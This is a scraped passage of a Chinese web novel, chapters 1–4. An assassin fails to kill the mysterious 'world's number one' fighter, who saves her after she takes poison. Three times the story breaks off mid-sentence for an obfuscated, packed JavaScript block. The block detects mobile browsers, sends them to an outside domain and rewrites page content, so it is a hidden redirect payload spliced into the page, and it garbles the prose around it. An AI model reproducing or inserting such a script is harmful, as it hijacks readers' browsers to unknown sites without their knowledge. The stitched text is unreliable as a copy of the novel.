《行刺疯批美人失败后被宠了》 1. 峭春寒 1 “铮——” 磨刀声在安静的院落中响起。 容府占地千亩,亭台楼榭无数,这一点声响微弱又渺小。即使被人偶然听见,也不会在意。 暗卫往石板鞠了一捧清水,刃面微微倾斜,一下接着一下,动作干净利落。 她眉睫微垂,神色极冷,极淡,肌肤苍白如霜,附着数道早已结痂的疤痕。 缠绳松垮的刀柄之上,刻着两个几乎已经快被磨平的字:【惊刃】 先是刀名, 再是她的名字。 濯磨声一下接着一下,就像她被容家买回来后的无数个日夜,重复着、重复着,看不见尽头。 风声穿墙破瓦,压得井旁老槐树都弯下了腰,她垂着枝叶,她看着她,哑声询问着: 【惊刃啊,你这佩刀已被磨了近百遍,早已是锋利无比,削铁如泥,又何须再磨?】 惊刃不知道该如何回答她。 不过是…… 找个事儿做罢了。 剑练了、功修了、院扫了,就连从不曾多看一眼的老槐树,惊刃都给浇了水。 无事可做,她只好继续磨刀。 又是“铮”一声脆响,石板被刀刃蹭出一声哀鸣,惊刃停下了动作。 她摩擦着石上新裂的细痕,叹了口气:再磨下去,石板就该碎了。 风里忽然带了些脚步声, 由远及近,将惊刃从静止中唤醒。 厚重石门向内推开,两名暗卫肃然站定,分列两侧,一名女子缓步走来。 她披着白狐裘衣,怀中抱着一只猫,被侍从与暗卫簇拥着,像只高傲的白孔雀。 容雅。 嶂云庄主之女,她的主子。 容雅踏入院中第一步,便蹙起眉头,掩了掩鼻尖:“怎会有这么浓的药味?” 一个呼吸间,惊刃已跪伏于她身前。 她头颅低垂,嗓音清冷:“是属下失礼,未曾清理妥当,请主子责罚。” 几个月之前,主子一纸命令,遣她刺杀一名负有盛名,避世多年的机关师。 那人原为鹤观山之人,后叛逃山门,潜隐林野。木屋四周布满她亲手所设的八方杀阵,葬送了不知多少性命。 惊刃领命而去,她在深林中辗转数十日,九死一生,终于一刀抹了机关师的脖子。 她带着一身的血污,连夜奔回嶂云庄。不求封赏,只盼能得主子一声“做得不错”,她便心满意足。 可是,容雅只随口“嗯”了一声,连她冒死带回的信物都未看上一眼,便将她打发了回去。 惊刃确信自己做错了什么。或许是耗时太久,或许是血弄脏了容家的砖,总之,是她不好,惹得主子不满意了。 惊刃跪着,等待对方的吩咐。 半晌,容雅终于开口:“惊刃,我记得你在暗卫的擂台上,夺过魁首之位。” “是。三百三十五场,无一败。” “身法算得上顶尖?” “属下不敢夸大,”惊刃语气平稳,“不过从无字诏出来的众多暗卫之中,属下应当排的上前三。” 容雅笑了:“好。” 她倾下身,俯视着对方:“此次要你杀的人,无名无姓,无师无门,行踪莫测。” 惊刃望着主子的靴尖,不免有些疑惑:主子向来不太待见她,此次屈尊纡贵过来,肯定是因为目标太过棘手。 可若是无名无姓,无迹可寻,她又该从何下手? “属下无能,尚未有所头绪。” 惊刃如实回答。 容雅斜睨她一眼,道:“此人虽无姓名,名号倒是有一个的。” “号天下第一。” 满院风止,沉雷闷闷滚落。 “这!”容雅身后一名年纪尚小的暗卫惊呼出声,察觉失态,她连忙捂住嘴,泛起泪意。 惊刃垂着头,身形未动,指节收紧,握住那柄被磨过千百次、刻着自己名字的旧刀。 【天下武功第一人。】 惊刃就是再对世事漠不关心,也或多或少听过这个如雷贯耳的名号。 此人自现踪以来,横扫江湖,百战不败,杀人如剪枝,来去无踪。 初登场时,她随便自街上捡了一把断剑,不过三招,便卸了武林盟主一条胳膊,将对方踹下擂台,面纱都不曾晃动一丝。 在众人惊惧惶恐之时,她拎着滴血断剑,还有心思谈笑几句,问围观群众讨杯茶喝。 狂妄,轻蔑,不可一世。 平静了许久的江湖被掀起一阵骇浪,十传百,百传千,很快便成为茶余饭后津津乐道的话题。 她总是一身黑衣,宽大帷帽掩其面容,使的兵器也是五花八门:折扇、铜钱、绣花针、甚至几片柳叶,全凭心意而定。 行踪不定,杀心无常, 武功高得近乎妖邪。 “如何,”容雅盯着她,“你能做到么?” 如同过去千百次,惊刃从不曾犹豫。她俯下身,额心贴着冰冷石砖,嗓音极轻: “属下遵命。” 。 转眼,惊刃已离开嶂云庄十日有余。 这位“天下第一”实在是神出鬼没,惊刃一路追踪,费了不少攒下的银两,才在西北山岭间探得关于她的最新踪迹。 一路听来不少传闻,其中有一条,似乎能解释容雅为何会命她去杀那位“天下第一”。 就在容雅下达命令的三日前,天下第一戴着帷帽,懒洋洋地出现在嶂云庄武馆前。 她一身黑衣,斜倚擂台,拎着把折扇,两招就把容家麾下的第一猛将给撂倒了。 猛将在地上嗷嗷打滚,哭了满脸,天下第一站在旁边喝茶乘凉,语气平淡得近乎戏谑: “这么大个块头,怎么连躲都不会?” 她幽幽地叹了口气,一边拿帕子慢条斯理地擦着扇柄,一边摇头感慨: “唉,容氏真是后继无人啊。” ……实在是,十分欠打。 嶂云庄颜面扫地,容庄主连砸三套茶具,这股火也烧到了容雅身上。她拿不出应对法子,索性将难题甩给惊刃。 那名被击倒的猛将,惊刃曾经见过,实力虽称得上不俗,却远未至令她忌惮之境。 真正可怕的,是那人第一次亮相时的对手: 【现任武林盟主,齐玉衡。】 她是天下正道之首,天衡台的掌门与镇山之人,性子沉稳,剑意凛然,功法武学臻至化境。 连她都被三招压制,败得心服口服,那“天下第一”的可怖实力,便不言而喻了。 惊刃坐在树冠,身后是辽阔无边的苍穹,身下是无边无垠的树海。 长发被山风卷得凌乱,几缕发丝拂过她干裂的唇瓣,轻痒如刀。 自从被容家买回来之后,惊刃身上的伤几乎就没断过。纵然主子对她多有不喜,她仍旧是容家最锋利的刀。 只是用多了,终究还是会留下痕迹。 筋骨损了底子,内息不再平稳,许多过往轻而易举的招式,如今也要多费一分气力。 惊刃早知自己不复巅峰。 一柄刀用久了,刀尖终有卷钝之时,刃面再如何磨砺,也总有失锋芒的一日,又何况一副血肉之躯。 所以说…… 此行一去,再无归期。 她所敬、所忠的容家,容得下金玉满堂、丝竹绕梁,容得下白猫安睡的软垫儿、黄雀啼唱的金丝笼。 容得下这天地任何人,却容不下她。 锁骨下新添的伤口阵阵作痛,惊刃不作理会,只静静屏息,聆听林中动静。 枝叶交错,远处深林忽有惊鸟腾空,翅羽拍动,呼啦啦掠入天际。 惊刃翻身跃起,疾掠而去。 据药馆的小童所说,有名黑衣女子曾在此深林旁的小镇短暂停留,并询问了一种名为“渡生莲”的药材。 医馆中并无所此物,不过林中深处倒是有一处峭壁,经年落雨,生着不少渡生莲。 约莫是恃才而傲,天下第一并未刻意隐匿行踪,惊刃得以从许多零散的线索中,猜测出她所前往的方向。 惊刃动作极快,几个呼吸间便逼近林尽之地,透过厚重枝叶,隐约能窥见一处开阔石地。 悬崖上站着一个人。 那人与传言中的“天下第一”有几分相似,戴着一顶黑纱帷帽,身侧看不见任何武器。 她背着手,站在悬崖边上,足尖踏着一块凸出的小岩石,正俯身瞧着什么。 风过之时,黑纱也随着晃动,她身形看似摇摇欲坠,却立得稳当无比。 惊刃压住呼吸,她隐藏在树影之中,分出八分心神,紧盯那人的任何动作。 她在等待机会。 谁料,黑衣人在崖边晃悠了一会,原本空无一物的指节间,忽地多出了几片树叶。 她转过头,视线穿过黑纱、穿过枝叶、穿过树影,不偏不倚——落在惊刃藏身的地方。 惊刃心头一跳,暗暗握紧刀柄。 “出来吧。”那人嗓音干枯,带着一丝故意压低的沙哑。 “来了一个还有一个,真是不消停啊。”她漫不经心地笑,“太有名了,倒也烦人。” 语落,一片叶随手而掷。 叶片化刃而去,势如破竹,将将擦着惊刃面颊而过,削断了她的几缕发丝。 “不用躲着了,”她道,“要打快打,别碍着我采花。” 一刹间,惊刃身影自林间掠出,瞬息间逼近那人身旁。 刀光锐利,直取心口! 那人半步未退,只微微偏头,仍拈着叶片,道了声:“这次就来了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16372412|183989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个?” “这可不好呀。” 她摇着头,语气竟带着几分善意:“没人帮忙收尸,暴毙荒山多不好看。” 言语未落,指尖一扬,数枚落叶疾射而出,力道极为凶狠,撞得刃面嗡嗡作响。 惊刃虎口一阵剧痛,她咬牙强撑,将涌上咽喉的血气硬生生咽下。 刀锋转弯,再次反刺,直取咽喉。 ——“咔。” 裂骨声响起,惊刃闷哼一声,右手关节已被那人干脆利落地拧断。 紧接着,她腹部受到重重一击,喉腔里的血再也咽不下去,尽数喷了出来。 长刀飞出,钉入远处地面,刃身隐隐开裂。 两招,不过两招而已。 她便失了先机,失了兵器,断了手腕,落得一身狼狈,被对方踩在脚下。 若是巅峰时期的自己,或许还有一战的可能,但如今……怕是已无回旋余地。 惊刃心中苦笑。 天下第一抱着手臂,足尖猫儿般一点,踩在她另一只尚完好的手腕上:“哪家派来的?” 手腕生疼,惊刃咬紧牙关。 她喘气想抽回手,那人脚下力道却极稳,看似随意,实则狠狠地将她钉在原地,分毫难移。 “怎么不说话?”天下第一又道。 指尖触到惊刃面颊,摩挲片刻,滑过皮肉,绕到耳侧,捏住人/皮面具的一角。 令人意外的是,那人指尖极为柔软,并无习武之人常有的茧痕,温温润润,触感似玉。 惊刃偏头想躲,奈何身形被牢牢固定住,几乎动弹不得,只能任由其动作。 “撕拉”一声轻响, 面具剥离,露出原本样貌。 惊刃咬紧了唇,浅色眼瞳凝起,面颊因疼痛而微微泛红,唇瓣还染着咳出的血色。 天下第一看着她,忽地一顿。 趁着对方愣神的刹那,惊刃自左袖间摸出一枚匕首,反手紧握。 她没有丝毫迟疑,用尽仅剩的力气,向着天下第一的脖颈划去。 很可惜,刀刃没能碰到她。 天下第一偏了偏头,刀尖自下而上,将黑纱划开了一道豁口,恰好割断了面纱的系绳。 帷帽坠落,面纱散落一地。 惊刃不由得一怔。厚重的黑纱之后,竟然藏着一位惊艳绝伦、容貌极盛的美人。 美人眉睫弯弯,眼角漾出一个笑来,如若红梅落雪,桃蕊缀枝,娇媚入骨。 极清、极艳、 又极潋滟的一个美人。 她丝毫没有暴露面容的慌张,压着惊刃的手腕,盈盈道:“怎么了?” 惊刃心神不宁,她为了此次刺杀准备良多,也做过许多设想,却从未曾料到过—— 天下第一,竟会如此年轻? 此人的年龄,与展露而出的武功境界太过不匹配,让惊刃一时有些难以置信。 美人将身子压前了一点,墨色长发落至惊刃颈边,挠了挠,留下零星痒意,又倏地溜走了。 不知道是不是惊刃的错觉,在剥下她的人/皮面具后,天下第一的动作,蓦然柔和了几分。 她好似一个捡到颗糖果的小孩,正饶有兴致地,一点点剥开亮晶晶的糖纸。 美人先是点了惊刃的穴,将力道卸去,再将她双手反扣,禁锢住所有动作。 “我此番出山,虽说乱七八糟揍了不少人,但应当还没招惹上无字诏才是。” 美人一歪头,道:“你家主子真不是个东西啊,扔这么一个漂亮水灵的姑娘来送死。” 语气里带着几分幽幽的怨气。 惊刃:“……” 你不准污蔑主子。 喉咙都是血,她没能说出口。 比起之前粗哑的伪音,天下第一真实的嗓音干净清冷,如珠玉般滚落面侧。 她随手一扔,将皱巴巴的面具丢到一边,而后探到惊刃腰侧,把她紧握的小匕首抢走。 刀刃一转,抵上惊刃颈侧。 “小哑巴,你究竟是谁家派来的?”美人道,“是不能说,还是不愿意说?” 她欺身而下,一手撑地,一手持刀,右膝抵进惊刃腿心,也不知是有意还是无意,向前顶了顶,恰好撞在柔软之处。 “唔!”惊刃身子一颤,腰背微微弓起。 脖颈送向刀刃,几乎要破皮见血,天下第一连忙松了点力道,将匕首抬起一些。 ……这是何意? 她怎么还不杀了我? 惊刃心中疑虑更重,看着天下第一掂了掂手中的刀刃,神情若有所思。 刀尖抵着她的肌肤,带着些微的凉意,不紧不慢地、一寸一寸地向下滑。 刃面滑过下颌、滑过脖颈,勾住包裹严实,不留一丝缝隙的衣领,忽地轻轻一挑。 2. 峭春寒 2 环扣被刀尖挑落在地,严实扣着的衣领散开,露出一寸苍白颈部。 惊刃实在想不通她要做什么。 她缓过一口气来,冷冷道:“你一刀扎进心口便是,割喉容易溅得一身血,不值当。” 语罢,天下第一眼睛居然亮了亮。 刀尖拨弄着她微敞的衣领,不急不缓,似撩拨着一片叶般,晃晃悠悠的。 “原来不是哑巴呀,”她道,“你声音真好听,再说两句听听。” 惊刃:“……” 天下第一将刀使得极好,能一刀封喉,也能这般——刃面轻贴着皮肉,软得如一条蛇,沿着脖颈游走。 布料慢悠悠地裂,细细作响。 “嗒”的一声,又是两枚环扣应声而断,衣领彻底散落开来,露出大片细白皮肤。 惊刃一言不发,呼吸都是静的。 衣物被刀尖挑开,却见紧绷的锁骨之下,被生生剜去了一块皮肉。 伤口极深,未曾敷药也未裹纱,随着起伏不定的呼吸,一丝一缕沁着血丝。 天下第一轻叹:“这又是何苦。” 从无字诏出身的暗卫,大多是随意买卖、更替的死士,只有少数出类拔萃者,会在身体某处烙下家徽。 说好听些,是忠诚的象征;说难听些,不过是一块狗牌,若是头被砍掉了,还能靠烙印勉强认个尸。 她会决绝地将烙印剜去,想必也是知道此行十死无生,生怕连累了主子。 “那人叫你来送死,”天下第一轻声道,听不出半分情绪,“你倒是一心护着她。” 语毕,匕首被随手一抛。 刃面在石上旋了两圈,倏然停下。 她起身,解了惊刃身上的穴道,语气淡淡:“今儿碰上我心情好,放你一马。” 天下第一后退两步,又道:“小刺客,下次你可就没这么好运了。” 黑靴踩过沙尘,她将地上的帷帽捡起,拍了拍上面沾染的尘灰。 帷帽之前被一刀划破,裂开好大一道豁口,已然没办法遮盖容颜了。 天下第一叹了口气。 她甩了甩帷帽,将其戴回头顶,却不知怎么地,向背后瞥了眼。 惊刃依旧躺在原来位置。 她安静地望着天空,面颊苍白得没有一丝血色,仿佛困倦袭来,缓缓阖了阖眼睫。 ……有些不对劲。 天下第一脚步一顿,快步折返,来到惊刃身侧,伸手想要去探她的鼻息。 指节还未触上面颊,惊刃的头便轻轻一偏,失了支撑般,栽进手心之中。 她眼睫低垂,淡色的瞳仁逐渐雾散,唇边溢出一线血丝,滴在砂石之间。 “喂,你——!” 天下第一猛地喊出声来。 她却已经听不见了。 声音被风吹散,耳畔只余下些朦胧的响。 自尽毒丸在唇齿间化尽,血腥与药苦混做一团,勾出一点极淡的、她从不曾尝过的甜意。 毒素自喉入骨,直穿心肺,似一把长钉般扎入她的身体,血气顺着指隙向外涌,涌出一条长长的,如同春天般的河流。 。 惊刃很少会做梦。 若真梦了,多半也不记得。 她杀过的人太多,得罪过的人也数不胜数,真要一个个入梦来向她索命,怕不是得排上几天几夜的队伍。 可这一次,她梦见了‘无字诏’之中的时日,那些与她一同被卖进来的孤女,一个接着一个死去。 她们的面容早已模糊,她们的声音早已朦胧,她们握住她的手,轻轻地问道: 【十九、十九,你想找一个怎样的主子?】 【十九、十九,你那么厉害,买下你的主子,肯定也会很喜欢你。】 【十九、十九,你的主子会待你很好很好,你要和她一起走出去,你要走得远一些。】 “……唔。” 惊刃猛地睁开眼睛,她大口喘息着,耳畔嗡鸣作响,头中一阵发胀刺痛。 她抬指抵住额心,重压了压,直到那阵嗡鸣声渐渐散去,才理出些思绪,开始打量四周。 她被人搬到了一个小木屋中,沾着尘土与血迹的外衣被脱去。 伤口被人简单敷了些药膏,还没包扎起来,散逸出淡淡的草香。 身下的被褥太过柔软,惊刃躺着有些不太习惯,索性坐起身来,揉了揉额心: 【奇怪,我怎么没死?】 每一名“无字诏”的暗卫都会下发三枚毒丸,可藏在不同位置,以防陷入被俘等境地时,遭胁迫而泄密。 药性凶险,生效极快,只需三个呼吸,人便能死的透透的。 可她试着转了转手腕,除了动作稍有艰涩之外,竟然没有什么大碍。 那药……竟没能杀了我? 惊刃思绪翻滚,半晌仍未得解,只得暂且压下疑问。 目光掠过不远处的木桌,佩刀与匕首都摆在那儿,旁边还有些用来包扎伤口的纱布。 惊刃行至桌旁,手覆上沉黑的刀鞘,“铮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16372413|183989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”一声,刀身出鞘。 她拎起长刀,径直推门而出。 - 林间天光正好。 鸟儿声声鸣,炊烟袅袅升,小石炉旁坐了个貌美姑娘。 姑娘半托着下颌,拿着把小团扇,冲煮着药的小石炉,一下又一下地扇着。 她披着件白羽裘衣,乌墨长发被一根红绳松松束着,搭在肩膀一侧。 某一顶可怜的黑纱帷帽上多了几道歪歪扭扭的针脚,口子不甚裂得更大,被恼火地丢在一边。 石炉里火苗温温燃着,白烟携着药香袅袅而起,弥散进四周山林。 热气熏着她的面侧,叫鼻尖眼角都浮上一层淡淡的粉,瞧着十分柔软。 听到开门的响动,姑娘闻声转过头来。 她原本想弯眉笑笑,视线却像是被什么烫着了般,倏然一僵,慌忙挪向一旁。 惊刃方才醒转,身上只穿着一件单薄亵衣,绸布薄薄的,若隐若现,似雪间落了两朵梅。 “唉,这,你真是。” 天下第一转过头,背对着她,摆了摆手:“你去披件衣——” 话还没说完,寒光贴面而过,若不是她猛地一仰,那把佩刀该插在她的脖子上。 红绳应声而断,长发散落一肩。 天下第一看着断成两节的小红绳,又看看淌到手心的发,头一次,露出了有些绝望的神色。 “我的发绳……” 她小声哀嚎。 惊刃神色未动,刀势紧逼而至,反手劈开她腕骨,匕首翻转,直指咽喉。 不知为什么,天下第一没有反抗。 她抬眼望向惊刃,像是要从那淡到近乎无色的眼睛中,寻找出什么东西。 那名刺客有着一双极浅的瞳仁,像一尊尘烟之中的观音像,无嗔无怒、无喜无悲、无欲无望。 茫茫之中,只有一片寂色。 那不是一个“人”该有的眼神,只是一把锋利的、能够一击刺穿咽喉的刀刃。 刀锋杀意浓烈,又逼近半寸,几乎要划破脖颈,被天下第一轻巧地避开了。 “小刺客,你这可就不对了。” 天下第一抿着唇,嗓音软绵,像一只猫儿蜷在耳边:“我可是救了你。” 颈侧抵着刀尖,心脉一下一下地撞上刃锋,震得惊刃指节微颤。 “面对自己的救命恩人,你不以身相许就算了,竟然还要杀我。” 她抬起手,点了点惊刃的心口,颇为委屈地道:“你说,这讲理么?” 3. 眼儿媚 1 惊刃不为所动。 她攥紧刀柄,猛地向下一扎。 天下第一安然未动,惊刃手中的刀刃却偏了几分,只擦破她颈侧的衣领,划出一道细细的裂口。 惊刃微滞,极慢地眨了一眨眼。 她看向自己不止发颤的手,不可思议地怔了几秒,又抬眼看向面前那人。 “怎么,是不是手颤得厉害,”天下第一淡淡道,“连刀都使不准了?” 惊刃沉默着。 她眉头皱成一个小结,唇抿得极紧,浅色瞳孔凝着对方,一言不发。 “这可是无字诏的毒,”天下第一道,“其中凶险,你最清楚不过。” “要是换了别人,可真没法解。就连我也是费了一番功夫,你得好好感谢我才是。” 说着,她点了点惊刃鼻尖,嫣然一笑:“小刺客,好生歇着吧。至少十天半月,你都没法拿刀了。” 惊刃:“……” 指尖很软,一缕若有若无的香气拢上鼻尖,她还未来得及分辨,便已经悄然散开,只余下一点痕迹。 惊刃沉默片刻,将匕首移开。 天下第一倒也没生气,漆黑眼珠子转了转,像只懒洋洋的,晒着太阳的矜贵雀儿。 方才齐整的衣领被惊刃拽得松了几分,白衣揽着肩颈,剥出半侧春色。 “为什么?”惊刃艰涩地开口,一个字一个字向外挪,“为什么,不杀了我?” 天下第一望向她,眉眼极轻地弯着,反问道:“我为什么要杀你?” 她抬起手来,指尖触上惊刃面颊,沿着轮廓滑至耳后,覆上惊刃后颈。 呼吸吹拂着,热气在耳尖聚拢,惊刃像是被烫着了,忍不住缩了缩身子。 她的指腹柔软、细腻,贴着薄薄的皮肉,一路爬过颈骨,激起一阵细密的痒意。 “这双手,何必要拿刀呢?” 美人眉眼弯弯,柔声道:“用来做些其它事情,岂不美哉?” 惊刃想要推开对方,但还未有所动作,美人便已经抽回了手。 只是她触碰过的地方,仍像是被火灼过一般,热意尚未褪去,在皮肤下缓缓氤氲。 手不就是用来拿刀的么,除了杀人,还能用来做什么事情? 惊刃有些迷惑,问道:“还能做什么?” 天下第一懒懒挑眉:“比如,你可以盛碗药汤去喝,我熬了好久的。” 惊刃:“……” 脑子像是被人搅了一记,乱得厉害,尽管她也说不清楚,到底是因为什么而乱。 天下第一起身,随手拢了拢衣襟:“想明白了就去披件衣裳,过来喝药。” 她神色坦然,语气平静,让惊刃脑中的一团乱麻,慢悠悠地团成了一大把死结。 半晌,惊刃开口:“你……” 天下第一应得极快:“嗯?” “你真的是天下第一?”惊刃神色凝重几分,“线索太多太杂,我怕是…找错人了。” “……” 天下第一抄起一旁的小团扇,“啪嗒”一声敲在惊刃额上。 “是是是,你找错人了。” 她没好气道: “本姑娘年芳四百八十八,姓柳名染堤,至于你找的‘天下第一’是哪一位,现如今在哪儿——我不知道。” 柳染堤一摊手:“满意了么?我辛辛苦苦熬了半个时辰的药汤,赶紧给我过来喝。” 惊刃狐疑地盯着她。 身为无字诏最出色的暗卫之一,惊刃对自己的能力颇有自信:天下第一的行踪,确实断在这片深林之中。 无论身形、武功,还是言行举止,此人与传闻中的“天下第一”都大致相符。 就是她的行为举止,实在有些太过古怪,让惊刃疑虑重重,总觉得自己找错人了。 惊刃绞尽脑汁地思索着,一条条一件件,却总有些理不清思绪。 - 忽而,深林间异变突生。 不远处,一阵飞鸟扑棱而起,枝叶被刀刃斩落在地,溅起阵阵沙尘。 只见林中蓦然冲出一队人,皆是身着红衣,顷刻间,便将木屋团团围住。 为首者神色倨傲,腰间系着软鞭,目光转了一圈,落在两位姑娘头上。 惊刃还未反应过来,眼前忽地一暗,白羽裘衣从头罩落,将她像小粽子似的裹住。 这裘衣片刻前还披在她身上,绒毛间还存着一丝丝热意,温和柔软地搂住她。 惊刃一时有些恍然。 柳染堤动作利落,替她细细系紧领口,确保没有一丝缝隙后,这才转过头来。 她福了福身,声音温婉恭顺:“不知几位大人突然来此,是因何事?” “民女与家妹只是在林间采药,若有惊扰之处,还请见谅。” 为首女子抬起下颌。 她身旁的侍从踏前一步,冷声道:“你们可曾见过一名身着黑衣,头戴帷帽之人?” 柳染堤紧张地拢着手,恍然道:“禀报各位大人,好像是见过的。” “前些时辰,我与家妹采药至崖边,远远瞧见有人在那里与人缠斗。” 她侧身一指,某顶被缝坏了的帷帽被丢在石炉旁,生无可恋地侧翻着,沾染些尘。 “那两人战得激烈,帷帽也被削落。” “我瞧这黑纱料子金贵,或许能卖几个铜板,才在她们走后偷偷拾了回来。” 侍从连忙上前,捡起帷帽,恭恭敬敬地递给红衣女子。 红衣打量两眼:“确实像是那人的。” “那悬崖就在不远处,”柳染堤补充道,“各位大人往西边走两步便能寻到。” 红衣女眯起眼,嗤了一声。 她缓缓开口道:“不能让有人知晓我们来过,动作利索些,待会要赶路。” 言下之意—— 【灭口。】 杀意如潮,骤然涌来。 数道寒芒几乎在同时破空而出,刀锋急速逼近二人,直取咽喉心口。 惊刃心头一紧,下意识想要以匕首去挡,却被柳染堤一把拉住手腕。 “可惜啊,可惜啊。” 柳染堤叹了口气,笑意轻柔缥缈:“我明明给你们指了一条活路。” 只听“哧”一声清响,一枚树叶自眼眶而入,扎透了最前方那名侍从的头颅。 鲜血自眼窝处迸出,那人瞪大双目,连惊叫都未及发出,身形便直直倒下。 枝叶簌簌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16372414|183989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作响,卷起她散落肩侧的长发,柳染堤撩起耳际发丝,又是一笑。 红衣女倒吸凉气,正欲开口喊些什么,身后却已多出一道白衣身影。 小团扇一转,飘飘然划过她的脖颈。 只见一道细细血线爬上肌肤,红衣女神色呆滞,头颅一歪,旋即“噗通”坠地,身子甚至还维持着欲抽鞭的姿势。 扇骨为柄,扇面为刃。 剩下几人这才惊觉不妙,连忙向彼此聚拢,奈何方才动念,喉间已被寒意浸透。 几个呼吸之间,林中血腥气骤浓。 鲜血浸湿地面,红衣倒作一片,尸体横七竖八,无一生还。 柳染堤立于尸阵中,稍垂着头。 小团扇在手心间一转,殷红血珠滴滴答答地坠落,砸在红衣女身侧的令牌上,模糊了上面的“赤尘”二字。 惊刃站在原地,看着她眨眼间杀了数人,象牙白衣衫却依旧洁净如初,没染上一滴血泽。 她转头笑笑:“小刺客,你瞧。” “别人家来杀人,都恨不得多带些帮手,”柳染堤悠悠道,“就你是一个人来的,多稀奇。” 惊刃望着满地狼藉,沉默不语。 她认得那些人的装束,应当是隶属于擅长施蛊毒,布毒阵的“赤尘教”之下。 赤尘最为人忌惮的,向来不是她们的毒,而是她们的可怖身法。 她们身形似鬼,出手无声,蛊毒在刹那之间入骨,将敌人杀于无声无息之中。 可就在方才,无论侍从还是红衣女子,连蛊囊都未能启封,便被一把小团扇给割了喉。 已经足够证明了。 惊刃定定看着对方,道:“你确实是天下第一,我并没有找错人。” 柳染堤没有肯定也没有否认,她回到小炉旁坐下,倒出一碗仍冒着热气的药汤。 她先自己抿了一口,苦得眉头直皱,待吹凉些,才递到惊刃面前。 “喝吧,”她道,“你总得恢复些力气,才能拿得稳刀不是么?” 惊刃接过那碗药汤,一饮而尽。 药汤里不知加了什么,入口便苦得发涩,惊刃却面色如常,仿佛饮了一碗白水。 她放下碗,手背拭过唇边。 “赤尘教冲你性命而来,我也是,”惊刃淡声道,“我与她们并无分别,为何不动手?” 柳染堤转着一片叶,道:“你的主子不喜欢你,是不是因为你不太会察言观色?” 惊刃:“……” 这话竟叫她说中了。 还在嶂云庄时,同僚便常常恨铁不成钢地看着她,拍着大腿长叹: “惊刃啊惊刃,你固然实力高强,可咱们做暗卫的,不能只等着接命令,得多揣摩揣摩主子的心思才行!” 惊刃平生最怕这些,从来都想不明白,摇了摇头:“我不知你是何意。” 柳染堤盈盈一笑:“你原来那主子多坏啊,不给吃不给穿,扔把破刀就让你来送死,半点都不心疼你。” “我对你多好,又给你疗伤,又给你煲药,”柳染堤总结道,“我真是个大好人,比你原主子要好多了。” 她道:“你不如从了我?” 惊刃:“…………” 4. 眼儿媚 2 “我不可能背叛主子。” 惊刃平静道。 柳染堤倒也不意外,撇了撇嘴:“那若你身子恢复些了,岂不是还得杀我?” “是。” 惊刃答得干脆。 主子的命令高于一切,不惜任何代价都要完成,成即生,败即死。 只要还有一口气在,她便会设法斩下柳染堤的头颅,带回去复命。 “为了我的小命着想,”柳染堤往后一仰,“你这些东西,可就别想拿回去了。” 说着,她从炉灶边拖出个布包,往地上一倒,叮叮哐哐,都是趁惊刃昏迷,从她身上扒下来的东西。 “来瞧瞧,”柳染堤像逛集市似的翻着,“袖箭、毒针、蒙汗药,还有三枚……啧,好寒碜的小铜板。” 她晃了晃:“你主子真够抠门的。” 比起“人”,无字诏的暗卫更像是器具。主子爱用便用,用完就弃,哪里还需要发什么工钱。 不过若能博得主子欢心,赏银、宝物、暗器自然都是不会少的,许多暗卫甚至比些小门派还要富有。 很不幸,惊刃属于“穷得叮当响”的类型。 柳染堤扔着那三枚小铜板,金属相撞,叮当作响:“你真不考虑跟着我走?” “我虽也没几两银子,但蜜饯还是能请你吃几块的。” 惊刃面无表情:“不可能。” 她漠然看着柳染堤翻她东西,只在对方拿起一枚木头簪子时,神色突地变了变。 她一步上前,猛然从柳染堤手里将木簪夺走,护在掌心,目光暗沉。 柳染堤也不阻拦,只悠悠地看着她。 “这木簪的来头,可不简单。” 她转着一枚小铜板,道:“姜偃师亲手制作的机关簪,里头兴许藏着什么秘密。” 惊刃沉默不语。 她大抵知道了,柳染堤为何杀了赤尘教众人,却独独留她一命。 ——正是因为这枚簪子。 这是她数月前听从主子命令,刺杀机关师“姜偃师”后,从尸身上带回的信物。 姜偃师以机关术成名,识得其名者不在少数,可真正见识过她机关的人,寥寥无几。 原因很简单: 见识过的人,全都死了。 这木簪样式普通,外观素朴,根本不会有人将它与那位大名鼎鼎的机关师联系起来。 可眼前这人,仅一眼便能道出其来历。 惊刃神色愈来愈凝重。 柳染堤连忙摆摆手,道:“放宽心,我与那偃师非亲非故,不会来向你寻仇的。” 惊刃却已心知不好。 此物与主子的命刺杀令有关,若柳染堤顺着这条线索往下查,极有可能查到主子头上。 瞬息之间,惊刃脑中飞速掠过数个方案,最终没有迟疑,匕首翻出,直直向自己脖颈划去。 柳染堤:“???” 她扑过来拽惊刃的手腕,惊刃却拼了命要向下划,两人一扑一挣,撞翻了半边药炉。 